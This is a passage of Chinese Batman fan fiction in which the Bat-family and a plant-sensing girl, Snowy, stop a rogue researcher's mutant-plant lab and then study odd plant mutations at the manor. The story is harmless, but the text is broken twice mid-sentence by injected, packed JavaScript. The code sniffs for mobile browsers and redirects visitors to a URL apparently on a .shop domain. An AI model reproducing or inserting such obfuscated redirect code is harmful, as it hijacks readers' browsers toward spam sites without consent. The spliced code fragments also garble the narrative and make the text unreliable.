“优先救人。”布鲁斯下令。 他和迪克配合,一个用强效除草剂(非致命,但能暂时抑制植物活性)清理门窗处的藤蔓,一个用切割工具破开障碍。斯诺伊努力感知着控制室内人员的状态,指引他们避开最后几处顽抗的植物陷阱。 几分钟后,控制室的门被强行打开。三名穿着植物园制服的工作人员蜷缩在角落,惊魂未定,但看起来没有严重外伤。 “安全了,跟我们来。”迪克安抚他们,示意他们跟上。 布鲁斯断后,掩护着众人沿着清理出的通道撤退。达米安也从上方汇合,手里拿着那个被拆除的非法设备。 撤退过程依然困难,但失去了统一刺激的植物攻击性在缓慢减弱。当他们终于冲出温室,回到安全的警戒线外时,所有人都松了口气。急救人员立刻上前照料受惊的工作人员。 戈登局长走过来。“干得好,蝙蝠侠。里面情况怎么样?” “源头是一个人为安装的刺激设备,已拆除。植物会逐渐恢复平静,但需要专业处理和环境隔离。建议封闭温室区至少一周,进行彻底检查和净化。”布鲁斯将设备交给戈登,“技术涉及毒藤女。需要调查是否有越狱事件或技术泄露。” 戈登脸色凝重地接过证物袋。“交给我。” 斯诺伊几乎虚脱,靠在迪克身上,大口喘着气。她摘掉头盔,小脸毫无血色,汗水浸湿了头发。持续的高强度感知和能量消耗让她达到了极限。 迪克半扶半抱着她回到蝙蝠车。阿尔弗雷德已经通过通讯了解了情况,准备好了营养补充剂和舒缓的毛毯。 回程的路上,斯诺伊裹着毯子,小口喝着温热的能量饮料,疲惫得几乎睁不开眼。但她心里却有一种奇异的平静。她帮忙了。在真正的危机中,她用自己独特的方式提供了帮助,救了人。 车窗外,哥谭的夜色依旧深沉。植物园的混乱逐渐被抛在身后,但事件留下的谜团并未解开。毒藤女的标志,人为的刺激设备,与 「X-接触」能量残留部分吻合但又更富攻击性的植物变异……这一切是孤立事件,还是更大阴谋的前奏? 斯诺伊不知道。她只知道,她刚刚亲身踏入了一场哥谭式的危机,并且活了下来,还做出了贡献。 微光不再仅仅照亮自己或安慰植物。它开始在真正的黑暗中,为前行者提供一丝微弱的指引。代价是疲惫与风险,但收获的,是逐渐清晰的身份认同与价值体现。 花园里的阴影已被驱散片刻,但哥谭的土地之下,还有多少未知的根须在悄然蔓延?斯诺伊在疲惫中沉入梦乡,而蝙蝠车正载着他们,驶回那个既是庇护所也是观察箱的岩石巢穴。 13. 第十三章 植物园事件的后续处理繁琐而严密。警方封锁了温室区,环境专家和生化小组在蝙蝠侠提供的安全协议指导下进入,处理受刺激植物,净化环境,采集更多样本进行分析。戈登局长亲自督办对那个刺激设备的调查,追查其来源和制作人。 蝙蝠洞内,分析工作昼夜不停。达米安拆解了那台粗糙但有效的设备,仔细研究其电路板、化学品储存罐和信号发射器。成分分析确认,其中关键的有机催化酶与毒藤女惯用的植物操控素高度同源,但经过了改良,效力更强,针对性更明确地诱发攻击性。 “这不是毒藤女的风格,”迪克在分析会议中指出,“她虽然偏激,但她的‘作品’通常带有一种……扭曲的美感或自然报复的象征意义。这个装置太粗糙,太直接,纯粹是为了制造混乱和伤害。” “模仿者?还是有人窃取了她的配方并进行了武器化改良?”达米安提出疑问。 “毒藤女目前被关押在阿卡姆的特殊隔离病房,”布鲁斯调出阿卡姆的监控记录和人员出入日志,“近期没有越狱记录,探视记录也正常。但技术泄露的可能性无法排除。阿卡姆的安保并非无懈可击,尤其是对于她这种依靠生物化学能力的囚犯。” “需要对她进行‘访问’吗?”达米安问。 布鲁斯沉默片刻。“暂时不要。直接接触可能打草惊蛇。优先从设备本身和流通渠道追查。” 他们将线索方向转向了哥谭的黑市和地下科研网络。能够合成这种级别有机催化酶的设备和技术,在哥谭屈指可数。迪克和达米安分头行动,利用各自的情报网进行筛查。 斯诺伊在植物园事件后休息了整整一天。过度的精神消耗让她睡了很久,醒来后依然感到隐隐的疲惫和食欲不振。阿尔弗雷德精心准备了易消化、高热量的食物,并安排她在日光室进行更多的静养,接触温和的自然光和植物,这有助于她的恢复。 她的恢复速度比预想的要快。两天后,精力基本复原,只是对能量食物的需求依旧高于常人。布鲁斯安排了一次全面的身体检查,数据表明她的代谢率在事件后暂时升高,现已回落至略高于基准的稳定水平,细胞活性读数依旧异常,但未发现新的变化。 “你的能力使用似乎会引发短期的代谢激增,需要额外能量补充。”布鲁斯在检查后对她说,语气像是在陈述一个科学事实,“这解释了你的饥饿感。随着能力使用的强度和频率增加,这种需求可能会加剧。你需要学会监控自己的状态,及时补充,避免透支。” 斯诺伊点点头。她早已意识到这一点。 “植物园里,你感知到的‘不一样的味道’,也就是刺激设备的源头,具体是什么感觉?”布鲁斯问,这是事件后第一次详细询问她的主观体验。 斯诺伊努力组织语言,她的表达能力还有限。“冷冷的……硬硬的。不像植物在呼吸,在生长。像是……一个坏掉的机器,在发出难听的声音,让植物变得难受,变得生气。”她比划着,试图描述那种人造信号素与植物自然生命波动之间的不协调感。 布鲁斯记录下她的描述。“你能区分自然植物变异(如废弃工厂)和这种人为刺激引发的变异吗?” 斯诺伊想了想,点头。“自然的……味道温和,像水在流。人为的……味道尖锐,像针在刺。” 这个比喻虽然简单,但抓住了本质区别。布鲁斯将这一点加入对她的能力评估档案。她的感知不仅能定位生命和异常,还能在一定程度上分辨异常的性质和来源,这比单纯的预警更有价值。 植物园的危机暂时解除了,但由此引发的调查却像投入池塘的石子,激起了更深的涟漪。 迪克从黑市线人那里得到一条模糊的线索:最近几个月,有一个自称“园丁”的中间人,在暗中收购一些特定的、受管制的植物生长促进剂和基因剪接工具包,出手阔绰,但不透露用途和买家。线人描述“园丁”总是戴着口罩和园艺手套,声音经过处理,交易地点选在废弃的苗圃或花卉市场后巷。 达米安则从暗网的一些边缘科学论坛捕捉到零碎的讨论,有人匿名询问如何大规模增强食虫植物的攻击性和移动能力,并提到了几种与毒藤女配方相关的化合物缩写。发帖人的IP地址经过多次跳转,最终指向哥谭市一个公共图书馆的终端,无法追查。 两条线索都指向一个对植物学、生物化学有相当了解,并且意图不明的人物或组织,正在利用或模仿毒藤女的技术进行活动。目的似乎不仅仅是制造混乱,可能有更具体的、尚未显露的目标。 布鲁斯将这些信息整合,建立了一个新的调查档案,代号「根须」。毒藤女的标志被放在中心,延伸出“园丁”、“暗网咨询”、“植物园袭击”等分支。 “植物园袭击可能是一次测试,”布鲁斯在分析会上说,“测试改良配方的效果,测试哥谭应对此类事件的能力,或者……是为了达成某个我们尚未察觉的具体目的,比如获取某种特定植物样本,或者分散我们的注意力。” “测试需要观众,”迪克思考,“谁能从这次袭击中获益?或者,谁在观察我们的反应?” “暂时没有答案。”布鲁斯调出哥谭近期所有异常事件的时序图,“但我们需要假设,‘根须’可能不止一个行动。提高对公共场所、尤其是植物相关设施和活动的监控级别。神谕,将‘根须’相关关键词加入城市监控系统的自动标记列表。” “已经在做。”芭芭拉的声音从扬声器传来。 对斯诺伊而言,生活恢复了之前的节奏,但多了一层隐形的紧张感。她知道调查在进行,知道那个神秘的“根须”可能还在暗处活动。她更加仔细地观察庄园花园里的植物,偶尔会尝试感知是否有任何不自然的“尖锐”或“难受”的波动,所幸一切正常。 她的能力训练变得更加谨慎。她不再轻易尝试与植物进行深层“交流”,担心过度的能量波动或异常可能被潜在的监视者捕捉到(无论是蝙蝠洞的仪器,还是未知的敌人)。她将练习集中在提升自身控制的精细度上,比如尝试更精确地“关闭”或“开启”自己的感知,减少无意识的能量逸散。 她开始有意识地观察蝙蝠家族成员的工作方式。看布鲁斯如何从海量信息中提炼模式,看迪克如何与人沟通获取情报,看达米安如何高效执行指令和分析技术细节。她意识到,对抗阴影不仅需要力量,更需要知识、策略和协作。 一天下午,她在日光室看书(一本关于基础生态的图画书),迪克走了进来,手里拿着一个平板电脑,脸上带着一丝困惑。 “嘿,小家伙,有空吗?帮我看看这个。”迪克在她旁边坐下,将平板递给她。 屏幕上显示着一张照片,是在植物园袭击事件后,从那个刺激设备内部电路板上提取的微缩蚀刻图案的高清放大图。图案非常微小、复杂,像是某种抽象的花纹或加密徽记,并非标准的电子元件标识。 “我们在追查这个图案的来源,”迪克说,“它可能代表制造者或所属组织的标志。数据库里没有匹配记录。我记得你对图案和细节观察很敏锐,看看有没有印象?或者觉得它像什么?” 斯诺伊接过平板,仔细看着那个图案。线条扭曲盘绕,像植物的根茎,又像神经网络的突触,在几个关键节点上,有极其微小的、类似字母的变形符号,难以辨认。 她看了很久,眉头微蹙。图案本身没有触发她的记忆或特殊感觉,但那种扭曲盘绕的形态,让她隐隐联想到某种东西——不是视觉上的,而是感觉上的。 她闭上眼睛,回忆在植物园感知到的、从刺激设备发出的那种“尖锐、难受”的信号。然后,她再回想在废弃工厂感知到的、来自 「X-接触」残留能量的那种浩瀚、内敛的“余味”。 突然,她意识到两者之间有一种极其微弱的、形式上的相似性。不是能量性质相同,而是那种“结构感”。「X-接触」的能量波动宏大、有序、自成体系,如同精密的宇宙法则。而这个图案,以及它代表的信号素,则像是那种宏大结构的一个极其拙劣、扭曲、充满恶意的微小仿制品,或者说是……逆向工程失败后产生的副产品? 她睁开眼睛,指着图案上那几个扭曲的节点符号,对迪克说:“这里……像在学别人说话,但学错了。声音很难听。” 迪克愣了一下,随即明白了她的意思。“你是说,这个图案,或者它代表的技术,是在模仿某种更高级、更复杂的东西?但模仿得很差劲,所以产生了扭曲和攻击性?” 斯诺伊点点头,又补充道:“像坏掉的回声。” “坏掉的回声……”迪克咀嚼着这个词,眼睛亮了起来,“模仿更高级的能量形式或技术……这指向了谁?谁会拥有那种更高级的技术,又被拙劣模仿?” 他立刻将斯诺伊的观察和比喻汇报给了布鲁斯。 布鲁斯沉默了更长时间。“「X-接触」。”他缓缓说出这个词。 是的,「X-接触」展示了一种远超地球现有科技的能量形式。如果那个不明飞行物的能量残留能被某种方式采集、分析,甚至尝试逆向工程呢?虽然可能性极低,但并非为零。尤其是在哥谭,这座城市从不缺少疯狂的科学家和渴望力量的罪犯。 “假设有人,或者某个组织,意外获得了 「X-接触」的微量能量残留或相关数据,”布鲁斯分析,“他们试图理解并复制其生物能量催化或空间交互的特性,但知识和技术不足,导致产物扭曲、不稳定、具有攻击性。毒藤女的植物操控技术恰好提供了一个现成的、与生命能量相关的框架,于是被借鉴或窃取,用于稳定或引导这种扭曲的能量,结果制造出了植物园的刺激装置。” 这个推论将看似独立的「X-接触」事件和「根须」调查连接了起来。虽然缺乏直接证据,但逻辑上说得通,也解释了为什么植物变异会带有部分「X-接触」能量特征。 “那么,‘根须’的目标是什么?”达米安问,“如果他们在尝试利用「X-接触」的能量,他们想达到什么目的?制造更强大的植物武器?还是别的?” “目前信息不足。”布鲁斯调出哥谭市所有可能与高端生物能量研究相关的设施和人员名单,“但我们需要扩大搜索范围,不仅要找植物学家和黑市化学家,还要关注那些涉及异常能量研究、外星技术或边缘物理学的个人和团体。” 调查方向再次拓宽,变得更加复杂和危险。 斯诺伊提供的线索虽然没有给出明确答案,却为整个调查打开了一扇新的窗户。她再次证明了自己独特视角的价值。 几天后,一个深夜,戈登局长通过加密频道联系了蝙蝠侠。 “蝙蝠侠,我们找到了‘园丁’的一个可能藏身处。线人报告说,在东区边缘一个废弃的植物培育实验室旧址,最近有夜间活动,看到有人搬运类似实验室设备的箱子进去。我们监视了两天,发现出入者很少,但都很警惕,符合描述。” “地址。”布鲁斯言简意赅。 戈登报出一个坐标。“需要支援吗?我的人可以配合突袭。” “先侦察。保持距离,不要惊动。”布鲁斯决定。 他计划亲自前往,带上迪克和达米安。至于斯诺伊,这次他没有主动提及。废弃实验室环境可能比植物园更复杂,潜在化学或生物危害未知,风险太高。 但斯诺伊在准备区听到了通讯(阿尔弗雷德没有刻意避开她)。她走到布鲁斯面前,仰头看着他。 “我也去。”她说,语气不是请求,而是陈述。她的蓝眼睛里有一种平静的坚持。“我能闻到‘坏掉的回声’。” 布鲁斯低头看着她。女孩的表情没有害怕,只有一种近乎固执的认真。他知道她的感知在分辨能量异常来源方面确实有独到之处。但风险…… “那里可能很危险。不止有植物,还可能有陷阱、化学品,或者武装人员。”布鲁斯说。 “我会跟紧迪克。”斯诺伊说,“我能帮忙找到源头。真正的源头。” 她强调了“真正”两个字。意思是,她或许能分辨出那里只是制造工厂,还是隐藏着更核心的东西。 布鲁斯权衡了几秒。斯诺伊在植物园的表现证明了她能在高压环境下提供关键信息,并且遵守指令。她的能力对于追踪这种与异常能量相关的线索确实可能不可或缺。 “阿尔弗雷德,给她准备最高级别的基础生化防护。”布鲁斯最终下令,“夜翼,她的安全由你全权负责,一旦情况超出预期,立刻带她撤离。” “明白。”迪克点头。 斯诺伊迅速换上特制的防护服,这次更加贴身,带有独立的微型空气过滤系统和更全面的传感器。阿尔弗雷德检查了每一个密封处,神情比以往更加严肃。 一行人再次出发,蝙蝠车无声地滑入哥谭的夜色。 废弃的植物培育实验室位于东区一片近乎被遗忘的工业废墟中,周围是生锈的管道和坍塌的厂房。实验室本身是一栋低矮的砖混建筑,窗户被木板封死,只有一扇侧门的缝隙里透出微弱的、不稳定的光亮。 布鲁斯和达米安从两个方向悄无声息地接近,进行外围侦查和清除可能的警戒装置。迪克带着斯诺伊在稍远的隐蔽处等待。 斯诺伊闭上眼睛,尝试感知前方的建筑。立刻,一股混杂的、令人不适的感觉涌来。有微弱的植物生命波动,但混乱而痛苦,像在挣扎。有化学品的刺鼻气味(即使隔着过滤器也能隐约感觉到)。还有一种……熟悉的“尖锐感”,比她描述过的植物园信号素更集中、更“浓稠”,带着一种未完成的、实验性的混乱感。 “里面有植物,很难受。有很多难闻的化学味道。还有……那个‘坏掉的回声’,很强,在里面深处。”斯诺伊低声对迪克说。 这时,布鲁斯的声音传来:“外围安全。没有发现电子警戒。门口有简易机械警报,已解除。内部有微光,疑似工作灯。准备进入。夜翼,带她到入口待命,听我指令。” “收到。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然后,他看到了帘子缝隙后的蝙蝠侠。 男人的眼睛瞬间睁大,充满了惊骇和疯狂。“不!你们不能夺走它!这是我的杰作!” 他猛地扑向工作台,不是去拿控制器,而是拍向了一个醒目的红色紧急按钮。 布鲁斯和达米安同时行动,冲进隔间。但已经晚了。 刺耳的警报声响起,不是从实验室内部,而是从更深处、地下传来的闷响。紧接着,他们脚下的地面传来剧烈的震动。 男人狂笑起来:“你们阻止不了的!根须已经蔓延!盛宴即将开始!” 实验室深处的地板突然裂开,粗壮、黝黑、表面覆盖着紫色能量脉络的植物根须如同巨蟒般破土而出,疯狂地挥舞、抽打,朝着入侵者袭来。与此同时,那些培养箱里的畸形植物也像接到了指令,挣脱束缚,喷射出腐蚀性汁液或弹射出带刺的种子。 “撤退!”布鲁斯当机立断,挡开一根抽来的根须。 达米安用飞镖切断几根缠绕过来的藤蔓。迪克护住斯诺伊,迅速后退。 但退路也被从墙壁缝隙中钻出的根须封堵。整个实验室仿佛活了过来,变成了一个充满恶意的植物陷阱。 “地下!”斯诺伊突然喊道,她指着地面裂开的方向,那里涌出的根须气息最为狂暴,但她也感觉到了,“下面!有更大的‘回声’!还有很多……很多植物,被强迫生长!” 地下还有空间,那里才是真正的核心,能量源和更多的受控植物都在下面! 布鲁斯瞬间做出判断。“突破地下!摧毁源头!” 他不再保留,使用了更强力的微型□□炸开纠缠的根须,清出一条通往地下裂口的通路。迪克抱着斯诺伊,达米安掩护,四人迅速冲下裂口。 下面是一个更大的、被改造成地下温室的空间。中央是一个用金属和玻璃粗糙拼凑的巨型培养池,池中浸泡着那团发光的紫色黏稠物质(能量源),无数粗大的根须从池中伸出,连接着四周墙壁上密密麻麻的、不断蠕动增生的各种攻击性植物。空气中弥漫着浓烈的臭氧味和植物腐败的气息。 那个疯狂的男人也跟着冲了下来,歇斯底里地喊叫着,试图启动培养池旁边一个更大的、看起来像是能量放大器的装置。 “阻止他!”布鲁斯喝道。 达米安甩出绳索,缠住男人的手腕,将他拖离控制台。迪克放下斯诺伊,加入战斗,清理不断涌来的攻击植物。 斯诺伊靠在墙边,剧烈地喘息着。地下空间的“坏掉的回声”强烈到让她几乎无法思考,那种扭曲、痛苦、充满强制性的能量波动冲击着她的感知。她看到培养池中那团紫色物质,那就是源头,一个拙劣模仿 「X-接触」能量、并与植物强制融合产生的怪物。 必须阻止它。它让这么多植物痛苦,它在生长,它会带来更大的破坏。 她闭上眼睛,不顾剧烈的头痛和能量透支的预感,将全部注意力集中在那团紫色物质上。她不再试图“安抚”或“理解”,而是用尽全力,去“感觉”它的核心,它的不协调,它的“错误”,然后将一种纯粹的、排斥的、否定其“存在合理性”的意念,像最锋利的针一样,刺向那个扭曲的能量节点。 没有光芒,没有声音。 但培养池中那团紫色物质猛地一颤,表面的电火花变得紊乱,光芒急速闪烁。连接它的根须同时剧烈抽搐,仿佛感到了巨大的痛苦。四周墙壁上的攻击植物也出现了瞬间的停滞和混乱。 就是现在! 布鲁斯抓住了这瞬间的破绽,将一枚特制的能量中和弹射入了培养池。 轰! 低沉的闷响伴随着刺眼的白光。紫色物质瞬间瓦解、消融,化为无害的灰烬和蒸汽。所有与之连接的根须和植物如同失去提线的木偶,瞬间瘫软、枯萎,停止了活动。 地下空间恢复了死寂,只有应急灯的光芒和众人粗重的呼吸声。 那个疯狂的男人被达米安制服,瘫倒在地,眼神空洞,喃喃自语:“失败了……我的杰作……根须……” 布鲁斯迅速检查了现场,确保没有残留危险。迪克扶起虚脱的斯诺伊,她脸色惨白,几乎站立不稳,但眼神还算清醒。 “干得好,小家伙。”迪克低声说,给她喂了一小块能量凝胶。 戈登局长的人很快赶到,接管了现场,逮捕了那个疯狂科学家(后来查明他是一个被大学开除的边缘生物能量研究员,痴迷于外星能量与生命融合),查封了所有实验数据和残留物。 回蝙蝠洞的路上,斯诺伊在迪克怀里沉沉睡去。她太累了,但心中却有一丝释然。 他们阻止了“根须”的一次重要行动,摧毁了一个危险的实验核心。但那个研究员口中的“他们”是谁?“盛宴”又指什么? 网已经撒开,触及了第一根危险的根须。但阴影之下,或许还有更多、更深、更庞大的网络在悄然生长。 14. 第十四章 地下实验室的疯狂科学家被移交给了警方,档案上写着“查尔斯·恩菲尔德,前生物能量研究员,涉嫌非法生化实验、危害公共安全、以及与多起植物异常事件有关”。他很快被关入阿卡姆,进行精神评估。他口中的“他们”和“盛宴”成了未解之谜,无论戈登的审讯官还是蝙蝠侠的夜间探访,都无法从他混乱的呓语中提取出清晰的信息。 实验室的设备、数据和那团被摧毁的紫色能量残留物被严格封存分析。布鲁斯和芭芭拉投入了大量时间,试图还原恩菲尔德的研究路径,追踪他可能的数据来源和物资供应网络。结果表明,恩菲尔德是一个相当孤独的天才(或者说疯子),他通过暗网和黑市获取了毒藤女配方的碎片信息以及一些零星的、无法溯源的异常能量读数报告(其中一些确实与 「X-接触」的部分模糊数据有相似之处)。他将这些碎片强行拼凑,进行了危险而拙劣的实验,最终制造了植物园事件和地下实验室的怪物。 似乎,“根须”只是恩菲尔德一个人的疯狂项目,随着他被捕和核心实验被摧毁,威胁暂时解除了。但布鲁斯并未完全放松警惕。恩菲尔德的实验显示出一种对特定能量形式(疑似 「X-接触」衍生)的主动追求和应用尝试,这本身就是一个信号,说明有不止一双眼睛在关注着那次事件留下的痕迹。 斯诺伊在这次行动中消耗极大。那种强行“否定”扭曲能量核心的行为,几乎耗尽了她所有的精神能量,也引发生理上的剧烈反应。回到蝙蝠洞后,她昏睡了近二十个小时,醒来后依旧虚弱、食欲不振,伴有间歇性的低烧和轻微肌肉颤抖。 阿尔弗雷德对她进行了细致的护理,调整饮食,补充电解质和维生素,确保充分休息。医疗监测显示,她的细胞活性在事件后出现了一个异常的峰值,随后迅速回落至低于基准线的水平,然后才缓慢回升。这是明显的能量透支和身体强制自我修复的表现。 “她的能力使用,尤其是高强度或对抗性的使用,代价非常高昂。”布鲁斯看着数据图说道,“不仅仅是能量消耗,似乎还涉及更深层的生命本质的消耗。过度使用可能导致不可逆的损伤。” 迪克看着躺在医疗床上、脸色苍白的斯诺伊,眼神担忧。“她太拼命了。” “她自己做出了选择。”达米安站在一旁,语气依旧平淡,但目光落在斯诺伊身上时,停留的时间比平时稍长。“她知道风险。” 斯诺伊在两天后才逐渐恢复精神。她感到一种深层的疲惫,仿佛身体被掏空后又勉强填回了一些东西,但不再完整。她对能量的需求变得异常敏感且不稳定,有时需要频繁进食,有时又对食物毫无兴趣。她的感知能力似乎也变得迟钝了一些,需要更集中精神才能捕捉到以往轻易能感觉到的生命波动。 布鲁斯与她进行了一次严肃的谈话。 “斯诺伊,你的能力是一种工具,但也是一把双刃剑。”他看着她,声音低沉而清晰,“它能帮助他人,也能伤害你自己。你必须学会衡量。在未来的任何情况下,首要任务是保证你自己的生存和安全。只有在确认自身状态允许,且行动收益大于风险时,才能考虑使用能力。明白吗?” 斯诺伊点点头。她亲身感受到了那种透支的痛苦和虚弱,明白了布鲁斯话中的含义。力量伴随着代价,而她的代价尤其沉重。 “我会教你一些基础的体能和呼吸训练,帮助你增强身体耐力和能量管理。”迪克说,“还有,你需要学会更精确地控制能力的‘开关’和‘强度’,避免无意识的消耗和不必要的暴露。” 恢复期的训练开始了。内容并不复杂,主要是温和的拉伸、基础的力量练习(利用她自身的体重),以及专注的冥想式呼吸法,旨在提升她的身体控制力和内在能量循环意识。迪克是主要的指导者,他的方法耐心而充满鼓励。达米安偶尔会旁观,冷冷地指出她姿势中的力学错误或呼吸节奏的紊乱,虽然语气不客气,但指出的问题往往一针见血。 斯诺伊学得很认真。她知道这些训练关乎她的生存和未来的可能性。她开始有意识地感受自己体内的能量流动(一种模糊的感觉),尝试在平时将其维持在一种平稳、内敛的状态,只有在需要时才小心翼翼地调动一丝。 在日光室的植物陪伴下进行冥想练习时,她有了新的发现。当她进入深度平静状态,将微弱的感知投向那盆状态持续改善的蕨类植物时,她发现自己的能量消耗显著降低,而“交流”的清晰度反而有所提升。这似乎意味着,平和、善意、非对抗性的意图,能让她的能力更有效率,代价也更小。 她将这一点告诉了迪克和布鲁斯。布鲁斯记录了下来,并调整了她的训练方向,更加强调心境控制和意图纯粹性。 “你的能力可能更偏向于‘共鸣’与‘协调’,而非‘强制’与‘对抗’。”布鲁斯分析,“对抗性使用会引发剧烈的能量冲突和反噬,消耗巨大。而共鸣与协调,虽然见效慢,影响范围小,但更符合其本质,也更可持续。” 这让斯诺伊想起了自己最初面对受伤老鼠和濒死植物时的状态。是的,那时她只是想“感受”和“安慰”,并没有想要“改变”或“否定”什么。那种方式虽然微弱,却让她感到平和,消耗也小得多。 或许,她的能力真正的用途,不在于战斗或强行干预,而在于感知、沟通和微妙的引导。就像森林里,树木之间通过根系和菌丝网络传递信息与养分,缓慢而持久。 这个认知让她对自己的能力有了新的定位。她不再渴望成为强大的“武器”,而是开始思考如何成为一个更好的“感知者”和“协调者”。 她的语言能力在恢复期也有了意外进步。或许是大脑在能量透支后的自我调整,或许是与蝙蝠家族成员更多的交流,她现在能说出更复杂的句子,表达更清晰的想法。她开始阅读更复杂的书籍(主要是图画和简单文字结合的科普读物),对世界的认知框架在缓慢构建。 平静的日子过了大约十天。斯诺伊的身体基本恢复,感知能力也回到了之前的水平,甚至因为训练而变得更加可控。庄园花园里的植物欣欣向荣,哥谭的犯罪率在蝙蝠侠的持续打击下维持在一个“常态”水平。仿佛一切又回到了某种平衡。 然而,哥谭从不允许长久的宁静。 一天下午,阿尔弗雷德在例行检查庄园外围监控时,发现了一个异常情况。在后花园最偏僻的角落,靠近老围墙的一小片背阴灌木丛中,几株常见的耐阴植物——玉簪和蕨类——出现了极其细微但确实存在的异常生长。它们的叶片比周围同种植物更肥厚,颜色呈现出一种不自然的油绿色,叶脉在特定角度光线下,隐隐透出极其微弱的、类似废弃工厂那种莹绿色光晕,但淡到几乎无法用肉眼确认。 阿尔弗雷德没有惊动任何人,只是调取了该区域过去一周的监控录像。录像显示,这些植物的变化是逐渐发生的,非常缓慢,从大概五天前开始。那个角落平时很少有人去,也没有施过特殊的肥料或药剂。 他带着这个发现,私下汇报给了布鲁斯。 布鲁斯立刻带着便携检测设备亲自前往查看。扫描结果显示,这些植物含有微量的、与废弃工厂变异植物同源的未知有机化合物,含量极低,远未达到引发明显变异的程度,但确实存在。能量读数正常,没有检测到外部刺激信号。 “自然扩散?”迪克猜测,“废弃工厂的能量残留通过地下水或空气传播到了这里?但庄园离工厂区很远。” “或者是 「X-接触」能量残留更广泛的、低强度的弥漫性影响,在特定环境(背阴、潮湿)下与某些植物发生了微弱的相互作用?”达米安提出另一种可能。 布鲁斯没有立刻下结论。他采集了样本,扩大了庄园范围内的环境监测,尤其是土壤和空气样本的微量元素分析。 他没有将此事告诉斯诺伊,不想让她过早担心或产生不必要的联想。但监控和分析在暗中加强。 两天后的深夜,变化出现了。 不是那些轻微变异的玉簪和蕨类,而是花园另一侧,阳光充足的花圃里,几株正处于花期的玫瑰。其中一株深红色的玫瑰,其中一朵花的花瓣边缘,在月光下,极其短暂地闪烁了一下那种熟悉的莹绿色微光,持续了不到一秒,随即恢复正常。 这一次,监控清晰地捕捉到了。同时,设置在花园各处的环境传感器,记录到了一次极其短暂、强度极低的能量脉冲,频率与废弃工厂变异植物的能量特征高度相似,但更微弱,更“自然”,仿佛植物自身一次无意识的能量释放。 能量脉冲发生时,庄园主楼的电力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081301|195324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系统出现了几乎无法察觉的瞬时波动,连蝙蝠洞的部分次级设备也受到了极其轻微的干扰。 这不再是简单的物质残留或扩散。这是主动的、间歇性的能量释放。 布鲁斯意识到,情况可能比他预想的更复杂。这不是外部刺激的结果,更像是这些植物自身在某种极微弱的外源性影响下,发生了内在的、自发的适应性变化,并且开始展现出极其初级的能量交互能力。 他将斯诺伊带到了花园,指着那株闪烁过的玫瑰,问她是否能感觉到什么。 斯诺伊已经有一段时间没有刻意感知庄园植物了。她闭上眼睛,调整呼吸,将感知缓缓投向那株玫瑰。 感觉非常非常微弱。玫瑰的生命波动健康而饱满,带着开花的喜悦。但在那波动的深处,她捕捉到了一丝极其细微的、几乎与植物本身融为一体的“异质”。不像废弃工厂变异植物那种活跃的探索性,也不像地下实验室植物那种被强制的痛苦,而是一种……沉睡的、本能的、正在缓慢“学习”或“适应”某种新环境因素的感觉。那丝莹绿色的能量,像是它无意识呼出的一口气,一次对新获得的内在可能性的微小测试。 “它……在学。”斯诺伊睁开眼睛,慢慢说道,“学怎么用一点点……新的力气。不是故意的。像睡觉时翻身。” 她的比喻再次精准地描述了现象的本质:自发的、无意识的、适应性的微变异。 布鲁斯沉思着。如果 「X-接触」的能量残留(或者其某种衍生效应对地球生物圈产生了普遍但极其微弱的影响,导致部分生物——尤其是植物——发生了缓慢的、良性的适应性进化,开始具备极其初级的生物能量感知或释放能力呢? 这听起来像是科幻小说。但如果这是真的,其长远影响将是难以估量的。植物的网络遍布全球,它们构成了生态系统的基础。任何微小的、系统性的改变,都可能引发连锁反应。 “我们需要更广泛的数据。”布鲁斯说,“不仅仅是哥谭,需要全球范围内的异常植物生长报告、环境能量读数异常记录。神谕,调动我们所有的卫星和合作网络资源,进行大数据筛查,寻找类似模式的低强度生物能量异常事件。” “范围太大,数据噪音会非常多。”芭芭拉提醒。 “设定筛选条件:与已知污染、气候变化模型、常规病虫害爆发无关的;局部的、微弱的、间歇性的;涉及植物生长加速、形态微变或异常生物发光现象的。优先关注人迹罕至的自然区域和城市中的绿化带、公园。”布鲁斯指示。 庞大的数据筛查工作开始了。这需要时间。 与此同时,布鲁斯对庄园花园采取了更严密的监控和有限的隔离措施。那几株出现异常迹象的植物被小心地移植到特制的、带有能量屏蔽和监测功能的培养箱中,移入蝙蝠洞的一个安全隔离实验室进行持续观察。花园其余部分也加强了扫描频率。 斯诺伊被允许在严格监控下,定期“探访”隔离实验室里的那些植物。布鲁斯希望她的感知能力能提供仪器无法捕捉的细微变化信息。 斯诺伊发现,与这些发生微变异的植物进行“共鸣”比与普通植物或那些被强制变异的植物都要容易得多。它们的生命波动中那种“学习”和“适应”的意向,与她的能力似乎存在着某种天然的亲和性。她不需要消耗太多精力,就能清晰地感受到它们的状态,甚至能隐约“听懂”它们对光线、水分、土壤中某些微量元素的“偏好”变化。 她将这种感觉告诉了布鲁斯。 “你的能力,或许与这种新出现的、基于 「X-接触」能量残留的良性适应性进化有着同源或共鸣关系。”布鲁斯推测,“这解释了你为什么能轻易感知和影响它们,也解释了为什么你的能力消耗在与之互动时较低。你们可能共享着某种相似的生命能量‘频率’或‘模式’。” 这个推测让斯诺伊的身份更加特殊。她不仅是 「X-接触」事件的潜在相关者,还可能成为理解和引导这种全球性(如果属实)微妙变化的钥匙。 馈赠伴随着代价,而她的存在本身,或许就是连接旧世界与新变化之间的那座脆弱的桥梁。哥谭花园里几株玫瑰的微弱闪光,可能预示着远比城市犯罪和疯狂反派更为深远、更为根本的世界变迁的序幕。。